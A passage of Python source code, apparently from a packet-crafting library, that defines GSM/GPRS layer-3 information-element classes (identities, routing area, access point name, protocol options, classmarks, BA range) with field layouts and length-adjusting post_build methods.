fields_desc = [ XBitField("ieiIT2", 0x0, 4), BitField("spare", 0x0, 1), BitField("typeOfIdentity", 0x0, 3) ] # Fix 1/2 len problem class IdentityType2AndforceToStandby(Packet): name = "Identity Type 2 and Force to Standby" fields_desc = [ BitField("spare", 0x0, 1), BitField("typeOfIdentity", 0x0, 3), BitField("spare", 0x0, 1), BitField("forceStandby", 0x0, 3) ] class ImeisvRequest(Packet): """IMEISV request Section 10.5.5.10""" name = "IMEISV Request" fields_desc = [ XBitField("ieiIR", 0x0, 4), BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3) ] # Fix 1/2 len problem class ImeisvRequestAndForceToStandby(Packet): name = "IMEISV Request and Force To Standby" fields_desc = [ BitField("spare", 0x0, 1), BitField("imeisvVal", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] # length 4 to 19 class ReceiveNpduNumbersList(Packet): """Receive N-PDU Numbers list Section 10.5.5.11""" name = "Receive N-PDU Numbers list" fields_desc = [ ByteField("ieiRNNL", 0x0), XByteField("lengthRNNL", None), BitField("nbList0", 0x0, 16), # optional ByteField("nbList1", None), ByteField("nbList2", None), ByteField("nbList3", None), ByteField("nbList4", None), ByteField("nbList5", None), ByteField("nbList6", None), ByteField("nbList7", None), ByteField("nbList8", None), ByteField("nbList9", None), ByteField("nbList10", None), ByteField("nbList11", None), ByteField("nbList12", None), ByteField("nbList13", None), ByteField("nbList14", None), ByteField("nbList15", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 19, a, self.fields_desc) if self.lengthRNNL is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class MsNetworkCapability(Packet): """MS network capability Section 10.5.5.12""" name = "MS Network Capability" fields_desc = [ ByteField("ieiMNC", 0x0), XByteField("lengthMNC", 0x3), ByteField("msNetValue", 0x0) ] # length 6 to 14 class MsRadioAccessCapability(Packet): """MS Radio Access capability Section 10.5.5.12a""" name = "MS Radio Access Capability" fields_desc = [ ByteField("ieiMRAC", 0x24), XByteField("lengthMRAC", None), BitField("spare1", 0x0, 1), # ... BitField("accessCap", 0x0, 4), BitField("accessTechType", 0x0, 4), # access capability BitField("bool", 0x0, 1), BitField("lengthContent", 0x0, 7), BitField("spare1", 0x0, 1), # ... # content BitField("pwrCap", 0x0, 3), BitField("bool1", 0x0, 1), BitField("a51", 0x0, 1), BitField("a52", 0x0, 1), BitField("a53", 0x0, 1), BitField("a54", 0x0, 1), BitField("a55", 0x0, 1), BitField("a56", 0x0, 1), BitField("a57", 0x0, 1), BitField("esInd", 0x0, 1), BitField("ps", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("vbs", 0x0, 1), BitField("bool2", 0x0, 1), # multislot BitField("bool3", 0x0, 1), BitField("hscsd", 0x0, 5), BitField("bool4", 0x0, 1), BitField("gprs", 0x0, 5), BitField("gprsExt", 0x0, 1), BitField("bool5", 0x0, 1), BitField("smsVal", 0x0, 4), BitField("smVal", 0x0, 4) ] # 10.5.5.13 Spare # This is intentionally left spare. class GmmCause(Packet): """GMM cause Section 10.5.5.14""" name = "GMM Cause" fields_desc = [ ByteField("ieiGC", 0x0), ByteField("causeValue", 0x0) ] class RoutingAreaIdentification(Packet): """Routing area identification Section 10.5.5.15""" name = "Routing Area Identification" fields_desc = [ ByteField("ieiRAI", 0x0), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), ByteField("LAC", 0x0), ByteField("LAC1", 0x0), ByteField("LAC", 0x0) ] # 10.5.5.16 Spare # This is intentionally left spare. class UpdateResult(Packet): """Update result Section 10.5.5.17""" name = "Update Result" fields_desc = [ XBitField("ieiUR", 0x0, 4), BitField("spare", 0x0, 1), BitField("updateResVal", 0x0, 3) ] class UpdateType(Packet): """Update type Section 10.5.5.18""" name = "Update Type" fields_desc = [ XBitField("ieiUT", 0x0, 4), BitField("spare", 0x0, 1), BitField("updateTypeVal", 0x0, 3) ] # Fix 1/2 len problem class UpdateTypeAndCiphKeySeqNr(Packet): name = "Update Type and Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("updateTypeVal", 0x0, 3), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] class AcReferenceNumber(Packet): """A&C reference number Section 10.5.5.19""" name = "A&C Reference Number" fields_desc = [ XBitField("ieiARN", 0x0, 4), BitField("acRefVal", 0x0, 4) ] # Fix 1/2 len problem class AcReferenceNumberAndSpareHalfOctets(Packet): name = "A&C Reference Number and Spare Half Octets" fields_desc = [ BitField("acRefVal", 0x0, 4), BitField("spareHalfOctets", 0x0, 4) ] # # 10.5.6 Session management information elements # # length 3 to 102 class AccessPointName(Packet): """Access Point Name Section 10.5.6.1""" name = "Access Point Name" fields_desc = [ ByteField("ieiAPN", 0x0), XByteField("lengthAPN", None), ByteField("apName", 0x0), # optional ByteField("apName1", None), ByteField("apName2", None), ByteField("apName3", None), ByteField("apName4", None), ByteField("apName5", None), ByteField("apName6", None), ByteField("apName7", None), ByteField("apName8", None), ByteField("apName9", None), ByteField("apName10", None), ByteField("apName11", None), ByteField("apName12", None), ByteField("apName13", None), ByteField("apName14", None), ByteField("apName15", None), ByteField("apName16", None), ByteField("apName17", None), ByteField("apName18", None), ByteField("apName19", None), ByteField("apName20", None), ByteField("apName21", None), ByteField("apName22", None), ByteField("apName23", None), ByteField("apName24", None), ByteField("apName25", None), ByteField("apName26", None), ByteField("apName27", None), ByteField("apName28", None), ByteField("apName29", None), ByteField("apName30", None), ByteField("apName31", None), ByteField("apName32", None), ByteField("apName33", None), ByteField("apName34", None), ByteField("apName35", None), ByteField("apName36", None), ByteField("apName37", None), ByteField("apName38", None), ByteField("apName39", None), ByteField("apName40", None), ByteField("apName41", None), ByteField("apName42", None), ByteField("apName43", None), ByteField("apName44", None), ByteField("apName45", None), ByteField("apName46", None), ByteField("apName47", None), ByteField("apName48", None), ByteField("apName49", None), ByteField("apName50", None), ByteField("apName51", None), ByteField("apName52", None), ByteField("apName53", None), ByteField("apName54", None), ByteField("apName55", None), ByteField("apName56", None), ByteField("apName57", None), ByteField("apName58", None), ByteField("apName59", None), ByteField("apName60", None), ByteField("apName61", None), ByteField("apName62", None), ByteField("apName63", None), ByteField("apName64", None), ByteField("apName65", None), ByteField("apName66", None), ByteField("apName67", None), ByteField("apName68", None), ByteField("apName69", None), ByteField("apName70", None), ByteField("apName71", None), ByteField("apName72", None), ByteField("apName73", None), ByteField("apName74", None), ByteField("apName75", None), ByteField("apName76", None), ByteField("apName77", None), ByteField("apName78", None), ByteField("apName79", None), ByteField("apName80", None), ByteField("apName81", None), ByteField("apName82", None), ByteField("apName83", None), ByteField("apName84", None), ByteField("apName85", None), ByteField("apName86", None), ByteField("apName87", None), ByteField("apName88", None), ByteField("apName89", None), ByteField("apName90", None), ByteField("apName91", None), ByteField("apName92", None), ByteField("apName93", None), ByteField("apName94", None), ByteField("apName95", None), ByteField("apName96", None), ByteField("apName97", None), ByteField("apName98", None), ByteField("apName99", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(3, 102, a, self.fields_desc) if self.lengthAPN is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class NetworkServiceAccessPointIdentifier(Packet): """Network service access point identifier Section 10.5.6.2""" name = "Network Service Access Point Identifier" fields_desc = [ ByteField("ieiNSAPI", 0x0), BitField("spare", 0x0, 4), BitField("nsapiVal", 0x0, 4) ] # length 2 to 253 class ProtocolConfigurationOptions(Packet): """Protocol configuration options Section 10.5.6.3""" name = "Protocol Configuration Options" fields_desc = [ ByteField("ieiPCO", 0x0), XByteField("lengthPCO", None), # optional BitField("ext", None, 1), BitField("spare", None, 4), BitField("configProto", None, 3), ByteField("protoId1", None), ByteField("lenProto1", None), ByteField("proto1Content", None), ByteField("protoId2", None), ByteField("lenProto2", None), ByteField("proto2Content", None), ByteField("protoId3", None), ByteField("lenProto3", None), ByteField("proto3Content", None), ByteField("protoId4", None), ByteField("lenProto4", None), ByteField("proto4Content", None), ByteField("protoId5", None), ByteField("lenProto5", None), ByteField("proto5Content", None), ByteField("protoId6", None), ByteField("lenProto6", None), ByteField("proto6Content", None), ByteField("protoId7", None), ByteField("lenProto7", None), ByteField("proto7Content", None), ByteField("protoId8", None), ByteField("lenProto8", None), ByteField("proto8Content", None), ByteField("protoId9", None), ByteField("lenProto9", None), ByteField("proto9Content", None), ByteField("protoId10", None), ByteField("lenProto10", None), ByteField("proto10Content", None), ByteField("protoId11", None), ByteField("lenProto11", None), ByteField("proto11Content", None), ByteField("protoId12", None), ByteField("lenProto12", None), ByteField("proto12Content", None), ByteField("protoId13", None), ByteField("lenProto13", None), ByteField("proto13Content", None), ByteField("protoId14", None), ByteField("lenProto14", None), ByteField("proto14Content", None), ByteField("protoId15", None), ByteField("lenProto15", None), ByteField("proto15Content", None), ByteField("protoId16", None), ByteField("lenProto16", None), ByteField("proto16Content", None), ByteField("protoId17", None), ByteField("lenProto17", None), ByteField("proto17Content", None), ByteField("protoId18", None), ByteField("lenProto18", None), ByteField("proto18Content", None), ByteField("protoId19", None), ByteField("lenProto19", None), ByteField("proto19Content", None), ByteField("protoId20", None), ByteField("lenProto20", None), ByteField("proto20Content", None), ByteField("protoId21", None), ByteField("lenProto21", None), ByteField("proto21Content", None), ByteField("protoId22", None), ByteField("lenProto22", None), ByteField("proto22Content", None), ByteField("protoId23", None), ByteField("lenProto23", None), ByteField("proto23Content", None), ByteField("protoId24", None), ByteField("lenProto24", None), ByteField("proto24Content", None), ByteField("protoId25", None), ByteField("lenProto25", None), ByteField("proto25Content", None), ByteField("protoId26", None), ByteField("lenProto26", None), ByteField("proto26Content", None), ByteField("protoId27", None), ByteField("lenProto27", None), ByteField("proto27Content", None), ByteField("protoId28", None), ByteField("lenProto28", None), ByteField("proto28Content", None), ByteField("protoId29", None), ByteField("lenProto29", None), ByteField("proto29Content", None), ByteField("protoId30", None), ByteField("lenProto30", None), ByteField("proto30Content", None), ByteField("protoId31", None), ByteField("lenProto31", None), ByteField("proto31Content", None), ByteField("protoId32", None), ByteField("lenProto32", None), ByteField("proto32Content", None), ByteField("protoId33", None), ByteField("lenProto33", None), ByteField("proto33Content", None), ByteField("protoId34", None), ByteField("lenProto34", None), ByteField("proto34Content", None), ByteField("protoId35", None), ByteField("lenProto35", None), ByteField("proto35Content", None), ByteField("protoId36", None), ByteField("lenProto36", None), ByteField("proto36Content", None), ByteField("protoId37", None), ByteField("lenProto37", None), ByteField("proto37Content", None), ByteField("protoId38", None), ByteField("lenProto38", None), ByteField("proto38Content", None), ByteField("protoId39", None), ByteField("lenProto39", None), ByteField("proto39Content", None), ByteField("protoId40", None), ByteField("lenProto40", None), ByteField("proto40Content", None), ByteField("protoId41", None), ByteField("lenProto41", None), ByteField("proto41Content", None), ByteField("protoId42", None), ByteField("lenProto42", None), ByteField("proto42Content", None), ByteField("protoId43", None), ByteField("lenProto43", None), ByteField("proto43Content", None), ByteField("protoId44", None), ByteField("lenProto44", None), ByteField("proto44Content", None), ByteField("protoId45", None), ByteField("lenProto45", None), ByteField("proto45Content", None), ByteField("protoId46", None), ByteField("lenProto46", None), ByteField("proto46Content", None), ByteField("protoId47", None), ByteField("lenProto47", None), ByteField("proto47Content", None), ByteField("protoId48", None), ByteField("lenProto48", None), ByteField("proto48Content", None), ByteField("protoId49", None), ByteField("lenProto49", None), ByteField("proto49Content", None), ByteField("protoId50", None), ByteField("lenProto50", None), ByteField("proto50Content", None), ByteField("protoId51", None), ByteField("lenProto51", None), ByteField("proto51Content", None), ByteField("protoId52", None), ByteField("lenProto52", None), ByteField("proto52Content", None), ByteField("protoId53", None), ByteField("lenProto53", None), ByteField("proto53Content", None), ByteField("protoId54", None), ByteField("lenProto54", None), ByteField("proto54Content", None), ByteField("protoId55", None), ByteField("lenProto55", None), ByteField("proto55Content", None), ByteField("protoId56", None), ByteField("lenProto56", None), ByteField("proto56Content", None), ByteField("protoId57", None), ByteField("lenProto57", None), ByteField("proto57Content", None), ByteField("protoId58", None), ByteField("lenProto58", None), ByteField("proto58Content", None), ByteField("protoId59", None), ByteField("lenProto59", None), ByteField("proto59Content", None), ByteField("protoId60", None), ByteField("lenProto60", None), ByteField("proto60Content", None), ByteField("protoId61", None), ByteField("lenProto61", None), ByteField("proto61Content", None), ByteField("protoId62", None), ByteField("lenProto62", None), ByteField("proto62Content", None), ByteField("protoId63", None), ByteField("lenProto63", None), ByteField("proto63Content", None), ByteField("protoId64", None), ByteField("lenProto64", None), ByteField("proto64Content", None), ByteField("protoId65", None), ByteField("lenProto65", None), ByteField("proto65Content", None), ByteField("protoId66", None), ByteField("lenProto66", None), ByteField("proto66Content", None), ByteField("protoId67", None), ByteField("lenProto67", None), ByteField("proto67Content", None), ByteField("protoId68", None), ByteField("lenProto68", None), ByteField("proto68Content", None), ByteField("protoId69", None), ByteField("lenProto69", None), ByteField("proto69Content", None), ByteField("protoId70", None), ByteField("lenProto70", None), ByteField("proto70Content", None), ByteField("protoId71", None), ByteField("lenProto71", None), ByteField("proto71Content", None), ByteField("protoId72", None), ByteField("lenProto72", None), ByteField("proto72Content", None), ByteField("protoId73", None), ByteField("lenProto73", None), ByteField("proto73Content", None), ByteField("protoId74", None), ByteField("lenProto74", None), ByteField("proto74Content", None), ByteField("protoId75", None), ByteField("lenProto75", None), ByteField("proto75Content", None), ByteField("protoId76", None), ByteField("lenProto76", None), ByteField("proto76Content", None), ByteField("protoId77", None), ByteField("lenProto77", None), ByteField("proto77Content", None), ByteField("protoId78", None), ByteField("lenProto78", None), ByteField("proto78Content", None), ByteField("protoId79", None), ByteField("lenProto79", None), ByteField("proto79Content", None), ByteField("protoId80", None), ByteField("lenProto80", None), ByteField("proto80Content", None), ByteField("protoId81", None), ByteField("lenProto81", None), ByteField("proto81Content", None), ByteField("protoId82", None), ByteField("lenProto82", None), ByteField("proto82Content", None), ByteField("protoId83", None), ByteField("lenProto83", None), ByteField("proto83Content", None), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 253, a, self.fields_desc) if self.lengthPCO is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay # len 4 to 20 class PacketDataProtocolAddress(Packet): """Packet data protocol address Section 10.5.6.4""" name = "Packet Data Protocol Address" fields_desc = [ ByteField("ieiPDPA", 0x0), XByteField("lengthPDPA", None), BitField("spare", 0x0, 4), BitField("pdpTypeOrga", 0x0, 4), ByteField("pdpTypeNb", 0x0), # optional ByteField("addressInfo1", None), ByteField("addressInfo2", None), ByteField("addressInfo3", None), ByteField("addressInfo4", None), ByteField("addressInfo5", None), ByteField("addressInfo6", None), ByteField("addressInfo7", None), ByteField("addressInfo8", None), ByteField("addressInfo9", None), ByteField("addressInfo10", None), ByteField("addressInfo11", None), ByteField("addressInfo12", None), ByteField("addressInfo13", None), ByteField("addressInfo14", None), ByteField("addressInfo15", None), ByteField("addressInfo16", None) ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(4, 20, a, self.fields_desc) if self.lengthPDPA is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] return p + pay class QualityOfService(Packet): """Quality of service Section 10.5.6.5""" name = "Quality of Service" fields_desc = [ ByteField("ieiQOS", 0x0), XByteField("lengthQOS", 0x5), BitField("spare", 0x0, 2), BitField("delayClass", 0x0, 3), BitField("reliaClass", 0x0, 3), BitField("peak", 0x0, 4), BitField("spare", 0x0, 1), BitField("precedenceCl", 0x0, 3), BitField("spare", 0x0, 3), BitField("mean", 0x0, 5) ] class SmCause(Packet): """SM cause Section 10.5.6.6""" name = "SM Cause" fields_desc = [ ByteField("ieiSC", 0x0), ByteField("causeVal", 0x0) ] # 10.5.6.7 Spare # This is intentionally left spare. class AaDeactivationCause(Packet): """AA deactivation cause Section 10.5.6.8""" name = "AA Deactivation Cause" fields_desc = [ XBitField("ieiADC", 0x0, 4), BitField("spare", 0x0, 1), BitField("aaVal", 0x0, 3) ] # Fix 1/2 len problem class AaDeactivationCauseAndSpareHalfOctets(Packet): name = "AA Deactivation Cause and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("aaVal", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class LlcServiceAccessPointIdentifier(Packet): """LLC service access point identifier Section 10.5.6.9""" name = "LLC Service Access Point Identifier" fields_desc = [ ByteField("ieiLSAPI", None), BitField("spare", 0x0, 4), BitField("llcVal", 0x0, 4) ] # # 10.5.7 GPRS Common information elements # # 10.5.7.1 [Spare] class RadioPriority(Packet): """Radio priority Section 10.5.7.2""" name = "Radio Priority" fields_desc = [ XBitField("ieiRP", 0x0, 4), BitField("spare", 0x1, 1), BitField("rplv", 0x0, 3) ] # Fix 1/2 len problem class RadioPriorityAndSpareHalfOctets(Packet): name = "Radio Priority and Spare Half Octets" fields_desc = [ BitField("spare", 0x1, 1), BitField("rplv", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] class GprsTimer(Packet): """GPRS Timer Section 10.5.7.3""" name = "GPRS Timer" fields_desc = [ ByteField("ieiGT", 0x0), BitField("unit", 0x0, 3), BitField("timerVal", 0x0, 5) ] class CellIdentity(Packet): """ Cell identity Section 10.5.1.1 """ name = "Cell Identity" fields_desc = [ ByteField("ciValue1", 0x0), ByteField("ciValue2", 0x0) ] class CiphKeySeqNr(Packet): """ Ciphering Key Sequence Number Section 10.5.1.2 """ name = "Cipher Key Sequence Number" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] class LocalAreaId(Packet): """ Local Area Identification Section 10.5.1.3 """ name = "Location Area Identification" fields_desc = [ BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mncDigit2", 0x0, 4), BitField("mncDigit1", 0x0, 4), ByteField("lac1", 0x0), ByteField("lac2", 0x0) ] # # The Mobile Identity is a type 4 information element with a minimum # length of 3 octet and 11 octets length maximal. # # len 3 - 11 class MobileId(Packet): """ Mobile Identity Section 10.5.1.4 """ name = "Mobile Identity" fields_desc = [ XByteField("lengthMI", None), BitField("idDigit1", 0x0, 4), BitField("oddEven", 0x0, 1), BitField("typeOfId", 0x0, 3), BitField("idDigit2_1", None, 4), # optional BitField("idDigit2", None, 4), BitField("idDigit3_1", None, 4), BitField("idDigit3", None, 4), BitField("idDigit4_1", None, 4), BitField("idDigit4", None, 4), BitField("idDigit5_1", None, 4), BitField("idDigit5", None, 4), BitField("idDigit6_1", None, 4), BitField("idDigit6", None, 4), BitField("idDigit7_1", None, 4), BitField("idDigit7", None, 4), BitField("idDigit8_1", None, 4), BitField("idDigit8", None, 4), BitField("idDigit9_1", None, 4), BitField("idDigit9", None, 4), ] def post_build(self, p, pay): a = [getattr(self, fld.name) for fld in self.fields_desc] res = adapt(2, 10, a, self.fields_desc, 1) if self.lengthMI is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] != 0: p = p[:-res[0]] return p + pay class MobileStationClassmark1(Packet): """ Mobile Station Classmark 1 Section 10.5.1.5 """ name = "Mobile Station Classmark 1" fields_desc = [ BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3) ] class MobileStationClassmark2(Packet): """ Mobile Station Classmark 2 Section 10.5.1.6 """ name = "Mobile Station Classmark 2" fields_desc = [ XByteField("lengthMSC2", 0x3), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3), BitField("spare1", 0x0, 1), BitField("psCap", 0x0, 1), BitField("ssScreenInd", 0x0, 2), BitField("smCaPabi", 0x0, 1), BitField("vbs", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("fc", 0x0, 1), BitField("cm3", 0x0, 1), BitField("spare2", 0x0, 1), BitField("lcsvaCap", 0x0, 1), BitField("spare3", 0x0, 1), BitField("soLsa", 0x0, 1), BitField("cmsp", 0x0, 1), BitField("a53", 0x0, 1), BitField("a52", 0x0, 1) ] class DescriptiveGroupOrBroadcastCallReference(Packet): """ Descriptive group or broadcast call reference Section 10.5.1.9 """ name = "Descriptive Group or Broadcast Call Reference" fields_desc = [ BitField("binCallRef", 0x0, 27), BitField("sf", 0x0, 1), BitField("fa", 0x0, 1), BitField("callPrio", 0x0, 3), BitField("cipherInfo", 0x0, 4), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1) ] class PdAndSapi(Packet): """ PD and SAPI $(CCBS)$ Section 10.5.1.10a """ name = "PD and SAPI $(CCBS)$" fields_desc = [ BitField("spare", 0x0, 1), BitField("spare1", 0x0, 1), BitField("sapi", 0x0, 2), BitField("pd", 0x0, 4) ] class PriorityLevel(Packet): """ Priority Level Section 10.5.1.11 """ name = "Priority Level" fields_desc = [ BitField("spare", 0x0, 1), BitField("callPrio", 0x0, 3) ] # # Radio Resource management information elements # # len 6 to max for L3 message (251) class BaRange(Packet): """ BA Range Section 10.5.2.1a """ name = "BA Range" fields_desc = [ XByteField("lengthBR", None), #error: byte format requires -128 <= number <= 127 ByteField("nrOfRanges", 0x0), # # rX = range X # # L o = Lower H i = higher # # H p = high Part Lp = low Part ByteField("r1LoHp", 0x0), BitField("r1LoLp", 0x0, 3), BitField("r1HiHp", 0x0, 5), BitField("r1HiLp", 0x0, 4), BitField("r2LoHp", 0x0, 4), # optional BitField("r2LoLp", None, 5), BitField("r2HiHp", None, 3), ByteField("r2HiLp", None), ByteField("r3LoHp", None), BitField("r3LoLp", None, 5), BitField("r3HiHp", None, 3), ByteField("r3HiLp", None), ByteField("r4LoHp", None), BitField("r4LoLp", None, 5), BitField("r4HiHp", None, 3), ByteField("r4HiLp", None), ByteField("r5LoHp", None), BitField("r5LoLp", None, 5), BitField("r5HiHp", None, 3), ByteField("r5HiLp", None), ByteField("r6LoHp", None), BitField("r6LoLp", None, 5), BitField("r6HiHp", None, 3), ByteField("r6HiLp", None), ByteField("r7LoHp", None), BitField("r7LoLp", None, 5), BitField("r7HiHp", None, 3), ByteField("r7HiLp", None), ByteField("r8LoHp", None), BitField("r8LoLp", None, 5), BitField("r8HiHp", None, 3), ByteField("r8HiLp", None), ByteField("r9LoHp", None), BitField("r9LoLp", None, 5), BitField("r9HiHp", None, 3), ByteField("r9HiLp", None), ByteField("r10LoHp", None), BitField("r10LoLp", None, 5), BitField("r10HiHp", None, 3), ByteField("r10HiLp", None), ByteField("r11LoHp", None), BitField("r11LoLp", None, 5), BitField("r11HiHp", None, 3), ByteField("r11HiLp", None), ByteField("r12LoHp", None), BitField("r12LoLp", None, 5), BitField("r12HiHp", None, 3), ByteField("r12HiLp", None), ByteField("r13LoHp", None), BitField("r13LoLp", None, 5), BitField("r13HiHp", None, 3), ByteField("r13HiLp", None), ByteField("r14LoHp", None), BitField("r14LoLp", None, 5), BitField("r14HiHp", None, 3), ByteField("r14HiLp", None), ByteField("r15LoHp", None), BitField("r15LoLp", None, 5), BitField("r15HiHp", None, 3), ByteField("r15HiLp", None), ByteField("r16LoHp", None), BitField("r16LoLp", None, 5), BitField("r16HiHp", None, 3), ByteField("r16HiLp", None), ByteField("r17LoHp", None), BitField("r17LoLp", None, 5), BitField("r17HiHp", None, 3), ByteField("r17HiLp", None), ByteField("r18LoHp", None), BitField("r18LoLp", None, 5), BitField("r18HiHp", None, 3), ByteField("r18HiLp", None), ByteField("r19LoHp", None), BitField("r19LoLp", None, 5), BitField("r19HiHp", None, 3), ByteField("r19HiLp", None), ByteField("r20LoHp", None), BitField("r20LoLp", None, 5), BitField("r20HiHp", None, 3), ByteField("r20HiLp", None), ByteField("r21LoHp", None), BitField("r21LoLp", None, 5), BitField("r21HiHp", None, 3), ByteField("r21HiLp", None), ByteField("r22LoHp", None), BitField("r22LoLp", None, 5), BitField("r22HiHp", None, 3), ByteField("r22HiLp", None), ByteField("r23LoHp", None), BitField("r23LoLp", None, 5), BitField("r23HiHp", None, 3), ByteField("r23HiLp", None), ByteField("r24LoHp", None), BitField("r24LoLp", None, 5), BitField("r24HiHp", None, 3), ByteField("r24HiLp", None), ByteField("r25LoHp", None), BitField("r25LoLp", None, 5), BitField("r25HiHp", None, 3), ByteField("r25HiLp", None), ByteField("r26LoHp", None), BitField("r26LoLp", None, 5), BitField("r26HiHp", None, 3), ByteField("r26HiLp", None), ByteField("r27LoHp", None), BitField("r27LoLp", None, 5), BitField("r27HiHp", None, 3), ByteField("r27HiLp", None), ByteField("r28LoHp", None), BitField("r28LoLp", None, 5), BitField("r28HiHp", None, 3), ByteField("r28HiLp", None), ByteField("r29LoHp", None), BitField("r29LoLp", None, 5), BitField("r29HiHp", None, 3), ByteField("r29HiLp", None), ByteField("r30LoHp", None), BitField("r30LoLp", None, 5), BitField("r30HiHp", None, 3), ByteField("r30HiLp", None), ByteField("r31LoHp", None), BitField("r31LoLp", None, 5), BitField("r31HiHp", None, 3), ByteField("r31HiLp", None), ByteField("r32LoHp", None), BitField("r32LoLp", None, 5), BitField("r32HiHp", None, 3), ByteField("r32HiLp", None), ByteField("r33LoHp", None), BitField("r33LoLp", None, 5), BitField("r33HiHp", None, 3), ByteField("r33HiLp", None), ByteField("r34LoHp", None), BitField("r34LoLp", None, 5), BitField("r34HiHp", None, 3), ByteField("r34HiLp", None), ByteField("r35LoHp", None), BitField("r35LoLp", None, 5), BitField("r35HiHp", None, 3), ByteField("r35HiLp", None), ByteField("r36LoHp", None), BitField("r36LoLp", None, 5), BitField("r36HiHp", None, 3), ByteField("r36HiLp", None), ByteField("r37LoHp", None), BitField("r37LoLp", None, 5), BitField("r37HiHp", None, 3), ByteField("r37HiLp", None), ByteField("r38LoHp", None), BitField("r38LoLp", None, 5), BitField("r38HiHp", None, 3), ByteField("r38HiLp", None), ByteField("r39LoHp", None), BitField("r39LoLp", None, 5), BitField("r39HiHp", None, 3), ByteField("r39HiLp", None), ByteField("r40LoHp", None), BitField("r40LoLp", None, 5), BitField("r40HiHp", None, 3), ByteField("r40HiLp", None), ByteField("r41LoHp", None), BitField("r41LoLp", None, 5), BitField("r41HiHp", None, 3), ByteField("r41HiLp", None), ByteField("r42LoHp", None), BitField("r42LoLp", None, 5), BitField("r42HiHp", None, 3), ByteField("r42HiLp", None), ByteField("r43LoHp", None), BitField("r43LoLp", None, 5), BitField("r43HiHp", None, 3), ByteField("r43HiLp", None), ByteField("r44LoHp", None), BitField("r44LoLp", None, 5), BitField("r44HiHp", None, 3), ByteField("r44HiLp", None), ByteField("r45LoHp", None), BitField("r45LoLp", None, 5), BitField("r45HiHp", None, 3), ByteField("r45HiLp", None), ByteField("r46LoHp", None), BitField("r46LoLp", None, 5), BitField("r46HiHp", None, 3), ByteField("r46HiLp", None), ByteField("r47LoHp", None), BitField("r47LoLp", None, 5), BitField("r47HiHp", None, 3), ByteField("r47HiLp", None), ByteField("r48LoHp", None), BitField("r48LoLp", None, 5), BitField("r48HiHp", None, 3), ByteField("r48HiLp", None), ByteField("r49LoHp", None), BitField("r49LoLp", None, 5), BitField("r49HiHp", None, 3), ByteField("r49HiLp", None), ByteField("r50LoHp", None), BitField("r50LoLp", None, 5), BitField("r50HiHp", None, 3), ByteField("r50HiLp", None), ByteField("r51LoHp", None), BitField("r51LoLp", None, 5), BitField("r51HiHp", None, 3), ByteField("r51HiLp", None), ByteField("r52LoHp", None), BitField("r52LoLp", None, 5), BitField("r52HiHp", None, 3), ByteField("r52HiLp", None), ByteField("r53LoHp", None), BitField("r53LoLp", None, 5), BitField("r53HiHp", None, 3), ByteField("r53HiLp", None), ByteField("r54LoHp", None), BitField("r54LoLp", None, 5), BitField("r54HiHp", None, 3), ByteField("r54HiLp", None), ByteField("r55LoHp", None), BitField("r55LoLp", None, 5), BitField("r55HiHp", None, 3), ByteField("r55HiLp", None), ByteField("r56LoHp", None), BitField("r56LoLp", None, 5), BitField("r56HiHp", None, 3), ByteField("r56HiLp", None), ByteField("r57LoHp", None), BitField("r57LoLp", None, 5), BitField("r57HiHp", None, 3), ByteField("r57HiLp", None), ByteField("r58LoHp", None), BitField("r58LoLp", None, 5), BitField("r58HiHp", None, 3), ByteField("r58HiLp", None), ByteField("r59LoHp", None), BitField("r59LoLp", None, 5), BitField("r59HiHp", None, 3), ByteField("r59HiLp", None), ByteField("r60LoHp", None), BitField("r60LoLp", None, 5), BitField("r60HiHp", None, 3), ByteField("r60HiLp", None), ByteField("r61LoHp", None), BitField("r61LoLp", None, 5), BitField("r61HiHp", None, 3), ByteField("r61HiLp", None), ByteField("r62LoHp", None), BitField("r62LoLp", None, 5), BitField("r62HiHp", None, 3), ByteField("r62HiLp", None), ByteField("r63LoHp", None), BitField("r63LoLp", None, 5), BitField("r63HiHp", None, 3), ByteField("r63HiLp", None), ByteField("r64LoHp", None), BitField("r64LoLp", None, 5), BitField("r64HiHp", None, 3), ByteField("r64HiLp", None), ByteField("r65LoHp", None), BitField("r65LoLp", None, 5), BitField("r65HiHp", None, 3), ByteField("r65HiLp", None), ByteField("r66LoHp", None), BitField("r66LoLp", None, 5), BitField("r66HiHp", None, 3), ByteField("r66HiLp", None), ByteField("r67LoHp", None), BitField("r67LoLp", None, 5), BitField("r67HiHp", None, 3), 